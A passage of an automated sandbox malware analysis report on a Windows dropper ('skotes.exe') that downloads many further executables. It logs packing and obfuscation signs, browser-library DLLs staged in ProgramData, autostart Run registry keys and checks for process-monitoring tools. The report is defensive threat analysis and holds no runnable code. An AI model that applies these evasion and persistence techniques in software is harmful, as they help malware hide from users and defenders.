Source: Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003396000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000000.2814391688.0000015C06812000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003497000.00000004.00000800.00020000.00000000.sdmp, 81d22383f9.exe, 0000000C.00000002.2959431174.0000000003396000.00000004.00000800.00020000.00000000.sdmp, fb22de53cd93474896e72899203b572f.exe, 00000016.00000000.2814391688.0000015C06812000.00000002.00000001.01000000.00000013.sdmp
Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: 81d22383f9.exe, 0000000C.00000000.2576935006.0000000000162000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: 81d22383f9.exe, 0000000C.00000000.2576935006.0000000000162000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 6f3b41816f.exe, 00000021.00000002.3345424664.0000000000CB2000.00000040.00000001.01000000.0000001F.sdmp
Source: Binary string: C:\Admin\Workspace\1766103906\Project\Release\Project.pdb source: a2870b1ac5.exe, 00000007.00000000.2454581777.000000000120C000.00000002.00000001.01000000.0000000A.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.bc0000.0.unpack :EW;.rsrc:W;.idata :W;scoprlns:EW;mrzrmbbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;scoprlns:EW;mrzrmbbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 1.2.skotes.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;scoprlns:EW;mrzrmbbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;scoprlns:EW;mrzrmbbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 2.2.skotes.exe.ea0000.0.unpack :EW;.rsrc:W;.idata :W;scoprlns:EW;mrzrmbbr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;scoprlns:EW;mrzrmbbr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Unpacked PE file: 33.2.6f3b41816f.exe.cb0000.0.unpack :EW;.rsrc:W;.idata :W;zrghudyy:EW;fscodnir:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Unpacked PE file: 54.2.6f3b41816f.exe.cb0000.0.unpack :EW;.rsrc:W;.idata :W;zrghudyy:EW;fscodnir:EW;.taggant:EW; vs :ER;.rsrc:W;
Binary contains a suspicious time stamp
Source: random[1].exe1.6.dr Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: c9692f9101.exe.6.dr Static PE information: real checksum: 0x1ea87c should be: 0x1e932b
Source: 85746525a0.exe.6.dr Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[4].exe0.6.dr Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: random[3].exe1.6.dr Static PE information: real checksum: 0x2a7611 should be: 0x2a46ef
Source: bb31c9d4a53941b6b913f33980d23feb.exe.12.dr Static PE information: real checksum: 0x0 should be: 0x243ba
Source: random[1].exe2.6.dr Static PE information: real checksum: 0x440267 should be: 0x4439a7
Source: ed7d415177.exe.6.dr Static PE information: real checksum: 0x1cf327 should be: 0x1d0c9e
Source: e637491e0c.exe.6.dr Static PE information: real checksum: 0x440267 should be: 0x4439a7
Source: random[3].exe.6.dr Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: 81d22383f9.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x14b59
Source: skotes.exe.0.dr Static PE information: real checksum: 0x32b0bc should be: 0x32ee2d
Source: random[1].exe0.6.dr Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 92aba5cf15.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x14b59
Source: d0e32932f8.exe.6.dr Static PE information: real checksum: 0x2c8098 should be: 0x2c6d73
Source: cd81608004.exe.6.dr Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: 932bb971c3.exe.6.dr Static PE information: real checksum: 0x440267 should be: 0x4439a7
Source: random[2].exe0.6.dr Static PE information: real checksum: 0x1cf327 should be: 0x1d0c9e
Source: random[1].exe1.6.dr Static PE information: real checksum: 0x0 should be: 0x14b59
Source: 796ecf2647.exe.6.dr Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[3].exe0.6.dr Static PE information: real checksum: 0x454b48 should be: 0x45d9bf
Source: random[5].exe.6.dr Static PE information: real checksum: 0x1a555c should be: 0x15e8ab
Source: random[4].exe.6.dr Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: fbaaecbd82.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x9f7ff
Source: 6f3b41816f.exe.6.dr Static PE information: real checksum: 0x2a7611 should be: 0x2a46ef
Source: random[2].exe1.6.dr Static PE information: real checksum: 0x2c8098 should be: 0x2c6d73
Source: fb22de53cd93474896e72899203b572f.exe.12.dr Static PE information: real checksum: 0x10c5c5 should be: 0x10b49f
Source: 74b92d58dc.exe.6.dr Static PE information: real checksum: 0x1d4149 should be: 0x1d15dc
Source: file.exe Static PE information: real checksum: 0x32b0bc should be: 0x32ee2d
Source: 6cc6a39605.exe.6.dr Static PE information: real checksum: 0x0 should be: 0x7aa07
Source: e577d0589a.exe.6.dr Static PE information: real checksum: 0x454b48 should be: 0x45d9bf
Source: 178ba86573.exe.6.dr Static PE information: real checksum: 0x1ea87c should be: 0x1e932b
Source: random[2].exe.6.dr Static PE information: real checksum: 0x1ea87c should be: 0x1e932b
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: scoprlns
Source: file.exe Static PE information: section name: mrzrmbbr
Source: file.exe Static PE information: section name: .taggant
Source: skotes.exe.0.dr Static PE information: section name:
Source: skotes.exe.0.dr Static PE information: section name: .idata
Source: skotes.exe.0.dr Static PE information: section name: scoprlns
Source: skotes.exe.0.dr Static PE information: section name: mrzrmbbr
Source: skotes.exe.0.dr Static PE information: section name: .taggant
Source: random[3].exe.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name: .idata
Source: random[3].exe.6.dr Static PE information: section name:
Source: random[3].exe.6.dr Static PE information: section name: wekcazbo
Source: random[3].exe.6.dr Static PE information: section name: ttllozcv
Source: random[3].exe.6.dr Static PE information: section name: .taggant
Source: 74b92d58dc.exe.6.dr Static PE information: section name:
Source: 74b92d58dc.exe.6.dr Static PE information: section name: .idata
Source: 74b92d58dc.exe.6.dr Static PE information: section name:
Source: 74b92d58dc.exe.6.dr Static PE information: section name: wekcazbo
Source: 74b92d58dc.exe.6.dr Static PE information: section name: ttllozcv
Source: 74b92d58dc.exe.6.dr Static PE information: section name: .taggant
Source: random[1].exe.6.dr Static PE information: section name: .fptable
Source: a2870b1ac5.exe.6.dr Static PE information: section name: .fptable
Source: random[1].exe2.6.dr Static PE information: section name:
Source: random[1].exe2.6.dr Static PE information: section name: .idata
Source: random[1].exe2.6.dr Static PE information: section name:
Source: random[1].exe2.6.dr Static PE information: section name: hvytnhuk
Source: random[1].exe2.6.dr Static PE information: section name: duidxfgh
Source: random[1].exe2.6.dr Static PE information: section name: .taggant
Source: 932bb971c3.exe.6.dr Static PE information: section name:
Source: 932bb971c3.exe.6.dr Static PE information: section name: .idata
Source: 932bb971c3.exe.6.dr Static PE information: section name:
Source: 932bb971c3.exe.6.dr Static PE information: section name: hvytnhuk
Source: 932bb971c3.exe.6.dr Static PE information: section name: duidxfgh
Source: 932bb971c3.exe.6.dr Static PE information: section name: .taggant
Source: random[2].exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name: .idata
Source: random[2].exe.6.dr Static PE information: section name:
Source: random[2].exe.6.dr Static PE information: section name: uqowvfqu
Source: random[2].exe.6.dr Static PE information: section name: prbaxlvy
Source: random[2].exe.6.dr Static PE information: section name: .taggant
Source: c9692f9101.exe.6.dr Static PE information: section name:
Source: c9692f9101.exe.6.dr Static PE information: section name: .idata
Source: c9692f9101.exe.6.dr Static PE information: section name:
Source: c9692f9101.exe.6.dr Static PE information: section name: uqowvfqu
Source: c9692f9101.exe.6.dr Static PE information: section name: prbaxlvy
Source: c9692f9101.exe.6.dr Static PE information: section name: .taggant
Source: random[3].exe0.6.dr Static PE information: section name:
Source: random[3].exe0.6.dr Static PE information: section name: .idata
Source: random[3].exe0.6.dr Static PE information: section name:
Source: random[3].exe0.6.dr Static PE information: section name: agnlrrtx
Source: random[3].exe0.6.dr Static PE information: section name: dgeihioi
Source: random[3].exe0.6.dr Static PE information: section name: .taggant
Source: e577d0589a.exe.6.dr Static PE information: section name:
Source: e577d0589a.exe.6.dr Static PE information: section name: .idata
Source: e577d0589a.exe.6.dr Static PE information: section name:
Source: e577d0589a.exe.6.dr Static PE information: section name: agnlrrtx
Source: e577d0589a.exe.6.dr Static PE information: section name: dgeihioi
Source: e577d0589a.exe.6.dr Static PE information: section name: .taggant
Source: random[2].exe0.6.dr Static PE information: section name:
Source: random[2].exe0.6.dr Static PE information: section name: .idata
Source: random[2].exe0.6.dr Static PE information: section name:
Source: random[2].exe0.6.dr Static PE information: section name: lukocbxy
Source: random[2].exe0.6.dr Static PE information: section name: egyjeepi
Source: random[2].exe0.6.dr Static PE information: section name: .taggant
Source: ed7d415177.exe.6.dr Static PE information: section name:
Source: ed7d415177.exe.6.dr Static PE information: section name: .idata
Source: ed7d415177.exe.6.dr Static PE information: section name:
Source: ed7d415177.exe.6.dr Static PE information: section name: lukocbxy
Source: ed7d415177.exe.6.dr Static PE information: section name: egyjeepi
Source: ed7d415177.exe.6.dr Static PE information: section name: .taggant
Source: random[2].exe1.6.dr Static PE information: section name:
Source: random[2].exe1.6.dr Static PE information: section name: .idata
Source: random[2].exe1.6.dr Static PE information: section name: hvxywfyw
Source: random[2].exe1.6.dr Static PE information: section name: megudfof
Source: random[2].exe1.6.dr Static PE information: section name: .taggant
Source: d0e32932f8.exe.6.dr Static PE information: section name:
Source: d0e32932f8.exe.6.dr Static PE information: section name: .idata
Source: d0e32932f8.exe.6.dr Static PE information: section name: hvxywfyw
Source: d0e32932f8.exe.6.dr Static PE information: section name: megudfof
Source: d0e32932f8.exe.6.dr Static PE information: section name: .taggant
Source: random[5].exe.6.dr Static PE information: section name: .eh_fram
Source: cd81608004.exe.6.dr Static PE information: section name: .eh_fram
Source: e637491e0c.exe.6.dr Static PE information: section name:
Source: e637491e0c.exe.6.dr Static PE information: section name: .idata
Source: e637491e0c.exe.6.dr Static PE information: section name:
Source: e637491e0c.exe.6.dr Static PE information: section name: hvytnhuk
Source: e637491e0c.exe.6.dr Static PE information: section name: duidxfgh
Source: e637491e0c.exe.6.dr Static PE information: section name: .taggant
Source: 62a707bc2a.exe.6.dr Static PE information: section name: .fptable
Source: 178ba86573.exe.6.dr Static PE information: section name:
Source: 178ba86573.exe.6.dr Static PE information: section name: .idata
Source: 178ba86573.exe.6.dr Static PE information: section name:
Source: 178ba86573.exe.6.dr Static PE information: section name: uqowvfqu
Source: 178ba86573.exe.6.dr Static PE information: section name: prbaxlvy
Source: 178ba86573.exe.6.dr Static PE information: section name: .taggant
Source: random[3].exe1.6.dr Static PE information: section name:
Source: random[3].exe1.6.dr Static PE information: section name: .idata
Source: random[3].exe1.6.dr Static PE information: section name: zrghudyy
Source: random[3].exe1.6.dr Static PE information: section name: fscodnir
Source: random[3].exe1.6.dr Static PE information: section name: .taggant
Source: 6f3b41816f.exe.6.dr Static PE information: section name:
Source: 6f3b41816f.exe.6.dr Static PE information: section name: .idata
Source: 6f3b41816f.exe.6.dr Static PE information: section name: zrghudyy
Source: 6f3b41816f.exe.6.dr Static PE information: section name: fscodnir
Source: 6f3b41816f.exe.6.dr Static PE information: section name: .taggant
Source: bb31c9d4a53941b6b913f33980d23feb.exe.12.dr Static PE information: section name: .00cfg
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BDD91C push ecx; ret 0_2_00BDD92F
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00BD1359 push es; ret 0_2_00BD135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_00EBD91C push ecx; ret 1_2_00EBD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00EBD91C push ecx; ret 2_2_00EBD92F
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 9_2_002D534A push ecx; ret 9_2_002D535D
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00BE4669 pushfd ; retf 11_3_00BE466A
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Code function: 11_3_00B80840 push eax; ret 11_3_00B80841
Source: file.exe Static PE information: section name: entropy: 7.057980979181412
Source: skotes.exe.0.dr Static PE information: section name: entropy: 7.057980979181412
Source: random[3].exe.6.dr Static PE information: section name: entropy: 7.980952558000639
Source: random[3].exe.6.dr Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: 74b92d58dc.exe.6.dr Static PE information: section name: entropy: 7.980952558000639
Source: 74b92d58dc.exe.6.dr Static PE information: section name: wekcazbo entropy: 7.952954751128578
Source: random[1].exe2.6.dr Static PE information: section name: hvytnhuk entropy: 7.954914945137012
Source: 932bb971c3.exe.6.dr Static PE information: section name: hvytnhuk entropy: 7.954914945137012
Source: random[2].exe.6.dr Static PE information: section name: uqowvfqu entropy: 7.948053672038302
Source: c9692f9101.exe.6.dr Static PE information: section name: uqowvfqu entropy: 7.948053672038302
Source: random[3].exe0.6.dr Static PE information: section name: agnlrrtx entropy: 7.955768774106295
Source: e577d0589a.exe.6.dr Static PE information: section name: agnlrrtx entropy: 7.955768774106295
Source: random[2].exe0.6.dr Static PE information: section name: entropy: 7.977980523769075
Source: random[2].exe0.6.dr Static PE information: section name: lukocbxy entropy: 7.955080919971714
Source: ed7d415177.exe.6.dr Static PE information: section name: entropy: 7.977980523769075
Source: ed7d415177.exe.6.dr Static PE information: section name: lukocbxy entropy: 7.955080919971714
Source: e637491e0c.exe.6.dr Static PE information: section name: hvytnhuk entropy: 7.954914945137012
Source: 178ba86573.exe.6.dr Static PE information: section name: uqowvfqu entropy: 7.948053672038302

Persistence and Installation Behavior
barindex
Drops PE files to the document folder of the user
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\Documents\KEGDAKEHJD.exe Jump to dropped file
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe File created: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe File created: C:\Users\user\AppData\Local\Temp\main\7z.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File created: C:\Users\user\AppData\Local\Temp\7XY747NZYRMTKXB1.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019673001\6f3b41816f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019682001\62a707bc2a.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019679001\cd81608004.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe File created: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[5].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\Documents\KEGDAKEHJD.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019678001\e577d0589a.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019677001\fbaaecbd82.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019676001\6cc6a39605.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File created: C:\Users\user\AppData\Local\Temp\Ae01fdzV5f53ffefSw3BEvKVeV\Bunifu_UI_v1.5.3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File created: C:\Users\user\AppData\Local\Temp\STNCYC18XSKVTIXIDORVU8IVIC8XE.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019680001\92aba5cf15.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019684001\178ba86573.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019681001\e637491e0c.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe File created: C:\Users\user\AppData\Local\Temp\main\7z.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019683001\796ecf2647.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File created: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe File created: C:\Users\user\AppData\Local\Temp\O36B9WQQ11YC67FWH57AOX5NF.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File created: C:\Users\user\AppData\Local\Temp\Ae01fdzV5f53ffefSw3BEvKVeV\Y-Cleaner.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019669001\c9692f9101.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d0e32932f8.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bc893816fa.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ed7d415177.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6f3b41816f.exe Jump to behavior
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
